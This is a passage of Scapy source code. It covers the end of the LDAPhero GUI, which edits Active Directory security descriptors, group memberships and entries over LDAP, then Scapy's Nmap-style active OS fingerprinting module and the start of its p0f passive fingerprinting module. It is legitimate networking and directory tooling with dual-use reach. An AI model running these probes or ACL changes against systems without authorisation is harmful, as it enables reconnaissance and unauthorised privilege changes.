ttk.Button(btnfrm, text="Update", command=popup.dismiss).grid(row=0, column=0) ttk.Button(btnfrm, text="Cancel", command=popup.cancel).grid(row=0, column=1) btnfrm.grid(row=4) # Setup if popup.run(): # Cancelled return # From UI back into ntSecurityDescriptor # Owner owner = ownerv.get() if owner in self.sidscombo: nTSecurityDescriptor.OwnerSid = WINNT_SID.fromstr(self.sidscombo[owner]) else: nTSecurityDescriptor.OwnerSid = WINNT_SID.fromstr(owner) # Group group = groupv.get() if group in self.sidscombo: nTSecurityDescriptor.GroupSid = WINNT_SID.fromstr(self.sidscombo[group]) else: nTSecurityDescriptor.GroupSid = WINNT_SID.fromstr(group) # Control control = SECURITY_DESCRIPTOR(Control=0).Control for i, (sdvar, v) in enumerate(zip(sdvars, sdflags)): if sdvar is None: continue if sdvar.get(): control |= v nTSecurityDescriptor.Control = control # Offsets need to be recalculated nTSecurityDescriptor.OwnerSidOffset = None nTSecurityDescriptor.GroupSidOffset = None nTSecurityDescriptor.DACLOffset = None nTSecurityDescriptor.SACLOffset = None # Pfew, we did it. That was some big UI. # Now update the SD. try: self.client.modify( object=item, changes=[ LDAP_ModifyRequestChange( operation="replace", modification=LDAP_PartialAttribute( type="ntSecurityDescriptor", values=[ LDAP_AttributeValue(value=bytes(nTSecurityDescriptor)) ], ), ) ], controls=[ LDAP_Control( controlType="1.2.840.113556.1.4.801", criticality=True, controlValue=LDAP_serverSDFlagsControl( flags="OWNER+GROUP+DACL+SACL", ), ) ], ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return self.tprint("Security descriptor updated.") def _members_popup(self, selection, mode="memberof"): """ The base of the "Member Of" and "Members" popups :param mode: either "memberof" or "members" """ # Get clicked item item = self.tk_tree.selection()[0] # Get the user attributes try: results = self.client.search( baseObject=item, scope=0, attributes=["objectClass", "memberOf"], ) if item not in results: raise ValueError("Bad output") attributes = results[item] except ValueError as ex: self.tprint(str(ex)) return except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return # Check that this item is indeed, a user or a group if not any(x in ["user", "group"] for x in attributes.get("objectClass", [])): messagebox.showerror("Error", "Object is neither a user nor a group !") return # Keep track of previous members, and changed ones og_members = set(attributes.get("memberOf", [])) members = list(og_members) # Get dialog popup = BasePopup(self.root) dlg = popup.dlg # "Member Of" UI dlg.grid_rowconfigure(0, weight=1) dlg.grid_columnconfigure(0, weight=1) memberoffrm = ttk.LabelFrame( dlg, text="Member Of", ) memberoffrm.grid_rowconfigure(0, weight=1) memberoffrm.grid_columnconfigure(0, weight=1) # Members list entrylist = tk.Listbox(memberoffrm) entrylist.grid(row=0, sticky="new") def add(*_, parentdlg=dlg): # Sub-dialog subpopup = BasePopup(parentdlg) dlg = subpopup.dlg # New group field newgroupv = tk.StringVar() ttk.Label(dlg, text="Group CN:").grid(row=0, sticky="we") newgroupf = tk.Entry(dlg, textvariable=newgroupv) newgroupf.grid(row=1, sticky="we") # OK / Cancel btnfrm = ttk.Frame(dlg) ttk.Button(btnfrm, text="OK", command=subpopup.dismiss).grid( row=0, column=0 ) ttk.Button(btnfrm, text="Cancel", command=subpopup.cancel).grid( row=0, column=1 ) btnfrm.grid(row=2, ipadx=5) # Focus newgroupf.focus() if subpopup.run(): return # Get results newgroup = newgroupv.get() if newgroup: # Store members.append(newgroup) # Display entrylist.insert("end", newgroup) def delete(*_): try: selected = int(entrylist.curselection()[0]) except IndexError: return # Drop del members[selected] # Remove from list entrylist.delete(selected) # Add / Delete btnfrm = ttk.Frame(memberoffrm) ttk.Button(btnfrm, text="Add", command=add).grid(row=0, column=0) ttk.Button(btnfrm, text="Delete", command=delete).grid(row=0, column=1) btnfrm.grid(row=1, sticky="we") # Populate for group in og_members: entrylist.insert("end", group) og_members.add(group) memberoffrm.grid(row=0, columnspan=2, sticky="we") # OK / Cancel btnfrm = ttk.Frame(dlg) ttk.Button(btnfrm, text="OK", command=popup.dismiss).grid(row=0, column=0) ttk.Button(btnfrm, text="Cancel", command=popup.cancel).grid(row=0, column=1) btnfrm.grid(row=1, ipadx=5) # Setup if popup.run(): # Cancelled return # Get results members = set(members) to_add = members - og_members to_rem = og_members - members operations = [("add", x) for x in to_add] + [("delete", x) for x in to_rem] for op, group in operations: # Run the operations: on multiple groups, add/remove ourselves from "member" try: results = self.client.modify( object=group, changes=[ LDAP_ModifyRequestChange( operation=op, modification=LDAP_PartialAttribute( type="member", values=[LDAP_AttributeValue(value=item)], ), ) ], ) except ValueError as ex: self.tprint(str(ex)) return except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return self.tprint("Groups of '%s' updated !" % item) def editmemberof(self, *_): """ Edit popup for "Member Of" """ # Get clicked item item = self.tk_tree.selection()[0] self._members_popup(item, "memberof") def _edit_popup(self, selection, mode="edit", editattrs={}): """ The base of the "Edit" and "Duplicate" popups :param mode: either "edit" or "new" :param editattrs: existing attributes to edit """ # Get dialog popup = BasePopup(self.root) dlg = popup.dlg # Edit UI dlg.grid_columnconfigure(1, weight=1) # DN dnv = tk.StringVar() dnv.set(selection) if mode == "edit": ttk.Label(dlg, text="DN:").grid(row=0, column=0, sticky="w") else: ttk.Label(dlg, text="New DN:").grid(row=0, column=0, sticky="w") tk.Entry(dlg, textvariable=dnv).grid(row=0, column=1, sticky="we") # "Edit entry" sub-box editentryfrm = ttk.LabelFrame( dlg, text="Edit Entry", ) attributev = tk.StringVar() ttk.Label(editentryfrm, text="Attribute:").grid(row=0, column=0) tk.Entry(editentryfrm, textvariable=attributev).grid( row=0, column=1, sticky="we" ) valuesv = tk.StringVar() ttk.Label(editentryfrm, text="Values:").grid(row=1, column=0) tk.Entry(editentryfrm, textvariable=valuesv).grid(row=1, column=1, sticky="we") # "Operation" subbox: the radio + the buttons opsfrm = ttk.Frame(editentryfrm) operationfrm = ttk.LabelFrame( opsfrm, text="Operation", ) scopev = tk.IntVar() scopev.set(0) ttk.Radiobutton( operationfrm, variable=scopev, text="Add", value=0, ).grid(row=0, column=0) ttk.Radiobutton( operationfrm, variable=scopev, text="Delete", value=1, ).grid(row=0, column=1) ttk.Radiobutton( operationfrm, variable=scopev, text="Replace", value=2, ).grid(row=0, column=2) operationfrm.grid(row=0, column=0, columnspan=2, sticky="we") if mode == "new": # In 'new', the only allowed operation is 'Add' for child in operationfrm.winfo_children(): child.configure(state=tk.DISABLED) operations = [] def enterentrylist(): """ This is called to add an element to the "Entry List" """ op = scopev.get() attr = attributev.get() val = valuesv.get() ident = "[%s]%s:%s" % ( {0: "Add", 1: "Delete", 2: "Replace"}[op], attr, val, ) # Once we have an ident, actually parse the value entered by the user try: val = self._parse_attribute(attr, val) except ValueError: # Parsing failed, show a popup and return without clearing ! return # Get current selection and reset it selected = self.currently_editing self.currently_editing = None # Do we have a selection if selected is not None: # Yes, edit # Set in storage operations[selected] = (op, attr, val) # Re-add to display entrylist.delete(selected) entrylist.insert(selected, ident) # Reset selection btw entrylist.itemconfigure(selected, fg="black") entrylist.see(selected) else: # No, create # Add to storage operations.append((op, attr, val)) # Add to display entrylist.insert("end", ident) # Clear to really show we're done scopev.set(0) attributev.set("") valuesv.set("") def editentrylist(): """ This is called to load an element from the "Entry List" """ try: selected = int(entrylist.curselection()[0]) except IndexError: return # If there's a previously edited (unfinished), clear if self.currently_editing is not None: entrylist.itemconfigure(self.currently_editing, fg="black") # Set currently edited mode self.currently_editing = selected # Show selected item in blue entrylist.itemconfigure(selected, fg="blue") entrylist.selection_clear(selected) operation = operations[selected] # Set textboxes scopev.set(operation[0]) attributev.set(operation[1]) valuesv.set(self._format_attribute(operation[1], operation[2])) def removeentrylist(): """ This is called to remove an element from the "Entry List" """ try: selected = entrylist.curselection()[0] except IndexError: return # Remove from storage del operations[selected] # Remove from display entrylist.delete(selected) ttk.Button( opsfrm, text="Enter", command=enterentrylist, ).grid(row=0, column=2) opsfrm.grid(row=2, column=0, columnspan=2) editentryfrm.grid(row=1, column=0, columnspan=2) # Entry list entrylistfrm = ttk.LabelFrame( dlg, text="Entry List", ) entrylistfrm.grid_columnconfigure(0, weight=1) entrylist = tk.Listbox(entrylistfrm) entrylist.grid(row=0, sticky="we", padx=5) entrylistbtns = ttk.Frame(entrylistfrm) ttk.Button( entrylistbtns, text="Edit", command=editentrylist, ).pack(side="left") ttk.Button( entrylistbtns, text="Remove", command=removeentrylist, ).pack(side="right") entrylistbtns.grid(row=1, sticky="we", padx=10) entrylistfrm.grid(row=3, column=0, columnspan=2, sticky="we", pady=5) if mode == "new": for attr, val in editattrs.items(): # Add to storage operations.append((0, attr, val)) # Add to display ident = "[Add]%s:%s" % ( attr, self._format_attribute(attr, val), ) entrylist.insert("end", ident) # OK / Cancel btnfrm = ttk.Frame(dlg) ttk.Button(btnfrm, text="Run", command=popup.dismiss).pack(side="left") ttk.Button(btnfrm, text="Cancel", command=popup.cancel).pack(side="right") btnfrm.grid(row=4, column=0, columnspan=2, ipadx=10) # Setup if popup.run(): # Cancelled return # Get values dn = dnv.get() return dn, operations def edit(self, *args): """ Edit popup """ # Get selected item try: selection = self.tk_tree.selection()[0] except IndexError: selection = "" results = self._edit_popup(selection) if not results: return dn, operations = results # Perform edit try: self.client.modify( object=dn, changes=[ LDAP_ModifyRequestChange( operation=op, modification=LDAP_PartialAttribute( type=attr, values=[LDAP_AttributeValue(value=x) for x in values], ), ) for (op, attr, values) in operations ], ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return self.tprint("Modify request succeeded.") def search(self, *args): """ Search popup """ # Get selected item try: selection = self.tk_tree.selection()[0] except IndexError: selection = "rootDSE" # Get dialog popup = BasePopup(self.root) dlg = popup.dlg # Search UI dlg.grid_columnconfigure(1, weight=1) basednv = tk.StringVar() basednv.set(selection) ttk.Label(dlg, text="Base DN").grid(row=0, column=0) basednf = tk.Entry(dlg, textvariable=basednv) basednf.grid(row=0, column=1, sticky="we") filterv = tk.StringVar() filterv.set(self.lastSearchString) ttk.Label(dlg, text="Filter").grid(row=1, column=0) tk.Entry(dlg, textvariable=filterv).grid(row=1, column=1, sticky="we") scopefrm = ttk.LabelFrame( dlg, text="Scope", ) scopev = tk.IntVar() scopev.set(1) ttk.Radiobutton( scopefrm, variable=scopev, text="Base", value=0, ).grid(row=0, column=0) ttk.Radiobutton( scopefrm, variable=scopev, text="One Level", value=1, ).grid(row=0, column=1) ttk.Radiobutton( scopefrm, variable=scopev, text="Subtree", value=2, ).grid(row=0, column=2) scopefrm.grid(row=2, column=0, columnspan=2) ttk.Button(dlg, text="OK", command=popup.dismiss).grid(row=3, column=0) ttk.Button(dlg, text="Cancel", command=popup.cancel).grid(row=3, column=1) basednf.focus() # Setup if popup.run(): # Cancelled return # Get values basedn = basednv.get() flt = filterv.get() scope = scopev.get() self.lastSearchString = flt # Perform search self.tprint("Searching...", flush=True) try: results = self.client.search( baseObject=basedn, scope=scope, filter=flt, ) except ValueError as ex: self.tprint(str(ex)) return except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return self.tprint("Getting %s entries..." % len(results)) for item in results: self._showsearchresult(item, results) def modifydn(self, *args): """ Modify the DN of an item """ # Get selected item try: selection = self.tk_tree.selection()[0] except IndexError: selection = "" # Get dialog popup = BasePopup(self.root) dlg = popup.dlg # Duplicate UI dlg.grid_columnconfigure(1, weight=1) basednv = tk.StringVar() basednv.set(selection) ttk.Label(dlg, text="DN:").grid(row=0, column=0, sticky="w") basednf = tk.Entry(dlg, textvariable=basednv) basednf.grid(row=0, column=1, sticky="we") newdnv = tk.StringVar() ttk.Label(dlg, text="New DN:").grid(row=1, column=0, sticky="w") newdnf = tk.Entry(dlg, textvariable=newdnv) newdnf.grid(row=1, column=1, sticky="we") ttk.Button(dlg, text="OK", command=popup.dismiss).grid(row=2, column=0) ttk.Button(dlg, text="Cancel", command=popup.cancel).grid(row=2, column=1) if selection: newdnf.focus() else: basednf.focus() # Setup if popup.run(): # Cancelled return # Get values basedn = basednv.get() newdn = newdnv.get() self.tprint("Changing %s to %s..." % (basedn, newdn)) try: self.client.modifydn( entry=basedn, newdn=newdn, ) except ValueError as ex: self.tprint(str(ex)) return except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return self.tprint("OK !") def new(self, mode): """ New popup. Called by both 'Add child' and 'Duplicate' popups """ if mode == "duplicate": # Get selected item try: selection = self.tk_tree.selection()[0] except IndexError: selection = "" else: selection = "" existing_attributes = {} if selection: # Perform search to retrieve the attributes self.tprint("Getting attributes for %s..." % selection, flush=True) try: results = self.client.search( baseObject=selection, scope=0, ) if selection not in results: raise ValueError("Bad result") existing_attributes = results[selection] except ValueError as ex: self.tprint(str(ex)) return except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return # Show edit popup to be able to change an attribute results = self._edit_popup(selection, mode="new", editattrs=existing_attributes) if not results: return newdn, changes = results # Extract all the 'add' attributes operations from changes attributes = {attr: val for (_, attr, val) in changes} self.tprint("Adding %s..." % newdn) try: self.client.add( newdn, attributes=attributes, ) except LDAP_Exception as ex: self.tprint( ex.diagnosticMessage or "Error: %s" % ex.resultCode, tags=["error"], ) return self.tprint("OK !") def duplicate(self, *args): return self.new("duplicate") def addchild(self, *args): return self.new("addchild") def _format_attribute(self, name, value, crop=False): """ Format a LDAP attribute """ if isinstance(value, list): # It's a list. return ";".join(self._format_attribute(name, v, crop=crop) for v in value) elif name == "objectSid": return WINNT_SID(value).summary() elif isinstance(value, bytes): # Catch-all for bytes values value = value.hex() else: # Catch-all value = str(value) # If cropping is enabled and requested, crop if crop and self.crop_output.get() and len(value) >= 80: return value[:80] + "... (%so)" % len(value) return value def _parse_attribute(self, name, value): """ Parse a formatted attribute """ parsed = [] # Split across ; for val in value.split(";"): if name == "objectSid": val = WINNT_SID.fromstr(val) parsed.append(val) return parsed def tprint(self, x, tags=[], flush=False): """ Print to text pane """ self.tk_textpane.configure(state=tk.NORMAL) self.tk_textpane.insert("end", x + "\n", tuple(tags)) self.tk_textpane.configure(state=tk.DISABLED) self.tk_textpane.see(tk.END) if flush: self.root.update() def main(self): """ Main loop: start the GUI. """ # Note: for TK doc, use https://tkdocs.com # Root self.root = tk.Tk() self.root.title("LDAPhero (@secdev/scapy)") self.root.option_add("*tearOff", False) # TTK style ttkstyle = ttk.Style() ttkstyle.theme_use("alt") ttkstyle.configure( "BorderFrame.TFrame", relief="groove", borderwidth=3, ) # Global configuration variables self.crop_output = tk.BooleanVar() self.crop_output.set(True) # Create main frames, pack them in scrollable elements content = ttk.PanedWindow(self.root, orient=tk.HORIZONTAL) tvfr = ttk.Frame(content) tvfr.grid_columnconfigure(0, weight=1) tvfr.grid_rowconfigure(0, weight=1) self.tk_tree = ttk.Treeview(tvfr, show="tree") content.add(tvfr) self.tk_tree.bind("", self.treedoubleclick) tree_scrollbar = AutoHideScrollbar( tvfr, orient="vertical", command=self.tk_tree.yview ) self.tk_tree.configure(yscrollcommand=tree_scrollbar.set) self.tk_tree.grid(row=0, column=0, sticky="nsew") self.tk_tree.column("#0", width=200) self.tk_textpane = tk.Text(content, state=tk.DISABLED) self.tk_textpane.tag_configure("bold", font="TkCaptionFont") self.tk_textpane.tag_configure("error", foreground="red") content.add(self.tk_textpane) # Menu menubar = tk.Menu(self.root) self.menu_connection = tk.Menu(menubar) self.menu_browse = tk.Menu(menubar) self.menu_view = tk.Menu(menubar) menubar.add_cascade(menu=self.menu_connection, label="Connection") self.menu_connection.add_command(label="Connect", command=self.connect) self.menu_connection.add_command( label="Bind", command=self.bind, state=tk.DISABLED, accelerator="Ctrl+B" ) self.menu_connection.add_command( label="Disconnect", command=self.disconnect, state=tk.DISABLED ) self.menu_connection.add_command(label="Quit", command=self.root.destroy) menubar.add_cascade(menu=self.menu_browse, label="Browse") self.menu_browse.add_command( label="Add child", command=self.addchild, state=tk.DISABLED, accelerator="Ctrl+A", ) self.menu_browse.add_command( label="Modify", command=self.edit, state=tk.DISABLED, accelerator="Ctrl+M" ) self.menu_browse.add_command( label="Modify DN", command=self.modifydn, state=tk.DISABLED, accelerator="Ctrl+R", ) self.menu_browse.add_command( label="Search", command=self.search, state=tk.DISABLED, accelerator="Ctrl+S" ) menubar.add_cascade(menu=self.menu_view, label="View") self.menu_view.add_command( label="Tree", command=self.tree, state=tk.DISABLED, accelerator="Ctrl+T" ) self.menu_view.add_checkbutton( label="Crop output", onvalue=True, offvalue=False, variable=self.crop_output ) self.root["menu"] = menubar # Right-click menu self.popup = tk.Menu(self.root, tearoff=0) self.popup.add_command( label="Search", command=self.search, accelerator="Ctrl+S" ) self.popup.add_command(label="Modify", command=self.edit, accelerator="Ctrl+M") self.popup.add_command( label="Modify DN", command=self.modifydn, accelerator="Ctrl+R" ) self.popup.add_command(label="Duplicate", command=self.duplicate) popup_adv = tk.Menu(self.popup) self.popup.add_cascade(label="Advanced", menu=popup_adv) popup_adv.add_command(label="Security descriptor", command=self.viewsec) popup_adv.add_command(label="Member Of", command=self.editmemberof) def do_popup(event): item = self.tk_tree.identify_row(event.y) if item: if self.tk_tree.tag_has("unclickable", item): # Unclickable return self.tk_tree.selection_set(item) self.popup.tk_popup(event.x_root, event.y_root) self.tk_tree.bind("", do_popup) # Shortcuts self.root.bind_all("", self.bind) self.root.bind_all("", self.tree) # Initial rendering content.pack(fill="both", expand=True) self.root.update() # Try connecting if self.host is not None: self.root.after(0, self.connect) # Main loop self.root.mainloop() ================================================ FILE: scapy/modules/nmap.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """Clone of Nmap's first generation OS fingerprinting. This code works with the first-generation OS detection and nmap-os-fingerprints, which has been removed from Nmap on November 3, 2007 (https://github.com/nmap/nmap/commit/50c49819), which means it is outdated. To get the last published version of this outdated fingerprint database, you can fetch it from . """ import os import re from scapy.data import KnowledgeBase from scapy.config import conf from scapy.arch import WINDOWS from scapy.error import warning from scapy.layers.inet import IP, TCP, UDP, ICMP, UDPerror, IPerror from scapy.packet import NoPayload, Packet from scapy.sendrecv import sr from scapy.compat import plain_str, raw from scapy.plist import SndRcvList, PacketList # Typing imports from typing import ( Dict, List, Tuple, Optional, cast, Union, ) if WINDOWS: conf.nmap_base = os.environ["ProgramFiles"] + "\\nmap\\nmap-os-fingerprints" # noqa: E501 else: conf.nmap_base = "/usr/share/nmap/nmap-os-fingerprints" ###################### # nmap OS fp stuff # ###################### _NMAP_LINE = re.compile('^([^\\(]*)\\(([^\\)]*)\\)$') class NmapKnowledgeBase(KnowledgeBase): """A KnowledgeBase specialized in Nmap first-generation OS fingerprints database. Loads from conf.nmap_base when self.filename is None. """ def lazy_init(self): # type: () -> None try: fdesc = open(conf.nmap_base if self.filename is None else self.filename, "rb") except (IOError, TypeError): warning("Cannot open nmap database [%s]", self.filename) self.filename = None return self.base = [] self.base = cast(List[Tuple[str, Dict[str, Dict[str, str]]]], self.base) name = None sig = {} # type: Dict[str,Dict[str,str]] for line in fdesc: str_line = plain_str(line) str_line = str_line.split('#', 1)[0].strip() if not str_line: continue if str_line.startswith("Fingerprint "): if name is not None: self.base.append((name, sig)) name = str_line[12:].strip() sig = {} continue if str_line.startswith("Class "): continue match_line = _NMAP_LINE.search(str_line) if match_line is None: continue test, values = match_line.groups() sig[test] = dict(val.split('=', 1) for val in (values.split('%') if values else [])) if name is not None: self.base.append((name, sig)) fdesc.close() def get_base(self): # type: () -> List[Tuple[str, Dict]] return cast(List[Tuple[str, Dict]], super(NmapKnowledgeBase, self).get_base()) conf.nmap_kdb = NmapKnowledgeBase(None) conf.nmap_kdb = cast(NmapKnowledgeBase, conf.nmap_kdb) def nmap_tcppacket_sig(pkt): # type: (Optional[Packet]) -> Dict res = {} if pkt is not None: res["DF"] = "Y" if pkt.flags.DF else "N" res["W"] = "%X" % pkt.window res["ACK"] = "S++" if pkt.ack == 2 else "S" if pkt.ack == 1 else "O" res["Flags"] = str(pkt[TCP].flags)[::-1] res["Ops"] = "".join(x[0][0] for x in pkt[TCP].options) else: res["Resp"] = "N" return res def nmap_udppacket_sig(snd, rcv): # type: (SndRcvList, PacketList) -> Dict res = {} if rcv is None: res["Resp"] = "N" else: res["DF"] = "Y" if rcv.flags.DF else "N" res["TOS"] = "%X" % rcv.tos res["IPLEN"] = "%X" % rcv.len res["RIPTL"] = "%X" % rcv.payload.payload.len res["RID"] = "E" if snd.id == rcv[IPerror].id else "F" res["RIPCK"] = "E" if snd.chksum == rcv[IPerror].chksum else ( "0" if rcv[IPerror].chksum == 0 else "F" ) res["UCK"] = "E" if snd.payload.chksum == rcv[UDPerror].chksum else ( "0" if rcv[UDPerror].chksum == 0 else "F" ) res["ULEN"] = "%X" % rcv[UDPerror].len res["DAT"] = "E" if ( isinstance(rcv[UDPerror].payload, NoPayload) or raw(rcv[UDPerror].payload) == raw(snd[UDP].payload) ) else "F" return res def nmap_match_one_sig(seen, ref): # type: (Dict, Dict) -> float cnt = sum(val in ref.get(key, "").split("|") for key, val in seen.items()) if cnt == 0 and seen.get("Resp") == "N": return 0.7 return float(cnt) / len(seen) def nmap_sig(target, oport=80, cport=81, ucport=1): # type: (str, int, int, int) -> Dict res = {} tcpopt = [("WScale", 10), ("NOP", None), ("MSS", 256), ("Timestamp", (123, 0))] tests = [ IP(dst=target, id=1) / TCP(seq=1, sport=5001 + i, dport=oport if i < 4 else cport, options=tcpopt, flags=flags) for i, flags in enumerate(["CS", "", "SFUP", "A", "S", "A", "FPU"]) ] tests.append(IP(dst=target) / UDP(sport=5008, dport=ucport) / (300 * "i")) ans, unans = sr(tests, timeout=2) ans.extend((x, None) for x in unans) for snd, rcv in ans: if snd.sport == 5008: res["PU"] = (snd, rcv) else: test = "T%i" % (snd.sport - 5000) if rcv is not None and ICMP in rcv: warning("Test %s answered by an ICMP", test) rcv = None # type: ignore res[test] = rcv return nmap_probes2sig(res) def nmap_probes2sig(tests): # type: (Dict) -> Dict tests = tests.copy() res = {} if "PU" in tests: res["PU"] = nmap_udppacket_sig(*tests["PU"]) del tests["PU"] for k in tests: res[k] = nmap_tcppacket_sig(tests[k]) return res def nmap_search(sigs): # type: (Dict) -> Tuple[Union[int, float], List] guess = 0, [] # type: Tuple[Union[int, float], List] conf.nmap_kdb = cast(NmapKnowledgeBase, conf.nmap_kdb) for osval, fprint in conf.nmap_kdb.get_base(): score = 0.0 for test, values in fprint.items(): if test in sigs: score += nmap_match_one_sig(sigs[test], values) score /= len(sigs) if score > guess[0]: guess = score, [osval] elif score == guess[0]: guess[1].append(osval) return guess @conf.commands.register def nmap_fp(target, oport=80, cport=81): # type: (str, int, int) -> Tuple[Union[int, float], List] """nmap fingerprinting nmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy """ sigs = nmap_sig(target, oport, cport) return nmap_search(sigs) @conf.commands.register def nmap_sig2txt(sig): # type: (Dict) -> str torder = ["TSeq", "T1", "T2", "T3", "T4", "T5", "T6", "T7", "PU"] korder = ["Class", "gcd", "SI", "IPID", "TS", "Resp", "DF", "W", "ACK", "Flags", "Ops", "TOS", "IPLEN", "RIPTL", "RID", "RIPCK", "UCK", "ULEN", "DAT"] txt = [] for i in sig: if i not in torder: torder.append(i) for test in torder: testsig = sig.get(test) if testsig is None: continue txt.append("%s(%s)" % (test, "%".join( "%s=%s" % (key, testsig[key]) for key in korder if key in testsig ))) return "\n".join(txt) ================================================ FILE: scapy/modules/p0f.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Clone of p0f v3 passive OS fingerprinting """ import re import struct import random from scapy.data import KnowledgeBase, select_path from scapy.config import conf from scapy.compat import raw, orb from scapy.packet import NoPayload from scapy.layers.inet import IP, TCP, TCPOptions from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse from scapy.layers.inet6 import IPv6 from scapy.volatile import RandByte, RandShort, RandString from scapy.error import warning _p0fpaths = ["/etc/p0f", "/usr/share/p0f", "/opt/local"] conf.p0f_base = select_path(_p0fpaths, "p0f.fp") MIN_TCP4 = 40 # Min size of IPv4/TCP headers MIN_TCP6 = 60 # Min size of IPv6/TCP headers MAX_DIST = 35 # Maximum TTL distance for non-fuzzy signature matching WIN_TYPE_NORMAL = 0 # Literal value WIN_TYPE_ANY = 1 # Wildcard WIN_TYPE_MOD = 2 # Modulo check WIN_TYPE_MSS = 3 # Window size MSS multiplier WIN_TYPE_MTU = 4 # Window size MTU multiplier # Convert TCP option num to p0f (nop is handled separately) tcp_options_p0f = { 2: "mss", # maximum segment size 3: "ws", # window scaling 4: "sok", # selective ACK permitted 5: "sack", # selective ACK (should not be seen) 8: "ts", # timestamp } # Signatures class TCP_Signature(object): __slots__ = ["olayout", "quirks", "ip_opt_len", "ip_ver", "ttl", "mss", "win", "win_type", "wscale", "pay_class", "ts1"] def __init__(self, olayout, quirks, ip_opt_len, ip_ver, ttl, mss, win, win_type, wscale, pay_class, ts1): self.olayout = olayout self.quirks = quirks self.ip_opt_len = ip_opt_len self.ip_ver = ip_ver self.ttl = ttl self.mss = mss self.win = win self.win_type = win_type # None for packet signatures self.wscale = wscale self.pay_class = pay_class self.ts1 = ts1 # None for base signatures @classmethod def from_packet(cls, pkt): """ Receives a TCP packet (assuming it's valid), and returns a TCP_Signature object """ ip_ver = pkt.version quirks = set() def addq(name): quirks.add(name) # IPv4/IPv6 parsing if ip_ver == 4: ttl = pkt.ttl ip_opt_len = (pkt.ihl * 4) - 20 if pkt.tos & (0x01 | 0x02): addq("ecn") if pkt.flags.evil: addq("0+") if pkt.flags.DF: addq("df") if pkt.id: addq("id+") elif pkt.id == 0: addq("id-") else: ttl = pkt.hlim ip_opt_len = 0 if pkt.fl: addq("flow") if pkt.tc & (0x01 | 0x02): addq("ecn") # TCP parsing tcp = pkt[TCP] win = tcp.window if tcp.flags & (0x40 | 0x80 | 0x01): addq("ecn") if tcp.seq == 0: addq("seq-") if tcp.flags.A: if tcp.ack == 0: addq("ack-") elif tcp.ack: addq("ack+") if tcp.flags.U: addq("urgf+") elif tcp.urgptr: addq("uptr+") if tcp.flags.P: addq("pushf+") pay_class = 1 if tcp.payload else 0 # Manual TCP options parsing mss = 0 wscale = 0 ts1 = 0 olayout = "" optlen = (tcp.dataofs << 2) - 20 x = raw(tcp)[-optlen:] # raw bytes of TCP options while x: onum = orb(x[0]) if onum == 0: x = x[1:] olayout += "eol+%i," % len(x) if x.strip(b"\x00"): # non-zero past EOL addq("opt+") break if onum == 1: x = x[1:] olayout += "nop," continue try: olen = orb(x[1]) except IndexError: # no room for length field addq("bad") break oval = x[2:olen] if onum in tcp_options_p0f: ofmt = TCPOptions[0][onum][1] olayout += "%s," % tcp_options_p0f[onum] optsize = 2 + struct.calcsize(ofmt) if ofmt else 2 # total len if len(x) < optsize: # option would end past end of header addq("bad") break if onum == 5: if olen < 10 or olen > 34: # SACK length out of range addq("bad") break else: if olen != optsize: # length field doesn't fit option type addq("bad") break if ofmt: oval = struct.unpack(ofmt, oval) if len(oval) == 1: oval = oval[0] if onum == 2: mss = oval elif onum == 3: wscale = oval if wscale > 14: addq("exws") elif onum == 8: ts1 = oval[0] if not ts1: addq("ts1-") if oval[1] and (tcp.flags.S and not tcp.flags.A): addq("ts2+") else: # Unknown option, presumably with specified size if olen < 2 or olen > 40 or olen > len(x): addq("bad") break x = x[olen:] olayout = olayout[:-1] return cls(olayout, quirks, ip_opt_len, ip_ver, ttl, mss, win, None, wscale, pay_class, ts1) # noqa: E501 @classmethod def from_raw_sig(cls, sig_line): """ Parses a TCP sig line and returns a tuple consisting of a TCP_Signature object and bad_ttl as bool """ ver, ttl, olen, mss, wsize, olayout, quirks, pclass = lparse(sig_line, 8) # noqa: E501 wsize, _, scale = wsize.partition(",") ip_ver = -1 if ver == "*" else int(ver) ttl, bad_ttl = (int(ttl[:-1]), True) if ttl[-1] == "-" else (int(ttl), False) # noqa: E501 ip_opt_len = int(olen) mss = -1 if mss == "*" else int(mss) if wsize == "*": win, win_type = (0, WIN_TYPE_ANY) elif wsize[:3] == "mss": win, win_type = (int(wsize[4:]), WIN_TYPE_MSS) elif wsize[0] == "%": win, win_type = (int(wsize[1:]), WIN_TYPE_MOD) elif wsize[:3] == "mtu": win, win_type = (int(wsize[4:]), WIN_TYPE_MTU) else: win, win_type = (int(wsize), WIN_TYPE_NORMAL) wscale = -1 if scale == "*" else int(scale) if quirks: quirks = frozenset(q for q in quirks.split(",")) else: quirks = frozenset() pay_class = -1 if pclass == "*" else int(pclass == "+") sig = cls(olayout, quirks, ip_opt_len, ip_ver, ttl, mss, win, win_type, wscale, pay_class, None) # noqa: E501 return sig, bad_ttl def __str__(self): quirks = ",".join(q for q in self.quirks) fmt = "%i:%i+%i:%i:%i:%i,%i:%s:%s:%i" s = fmt % (self.ip_ver, self.ttl, guess_dist(self.ttl), self.ip_opt_len, self.mss, self.win, self.wscale, self.olayout, quirks, self.pay_class) return s class HTTP_Signature(object): __slots__ = ["http_ver", "hdr", "hdr_set", "habsent", "sw"] def __init__(self, http_ver, hdr, hdr_set, habsent, sw): self.http_ver = http_ver self.hdr = hdr self.hdr_set = hdr_set self.habsent = habsent # None for packet signatures self.sw = sw @classmethod def from_packet(cls, pkt): """ Receives an HTTP packet (assuming it's valid), and returns a HTTP_Signature object """ http_payload = raw(pkt[TCP].payload) crlfcrlf = b"\r\n\r\n" crlfcrlfIndex = http_payload.find(crlfcrlf) if 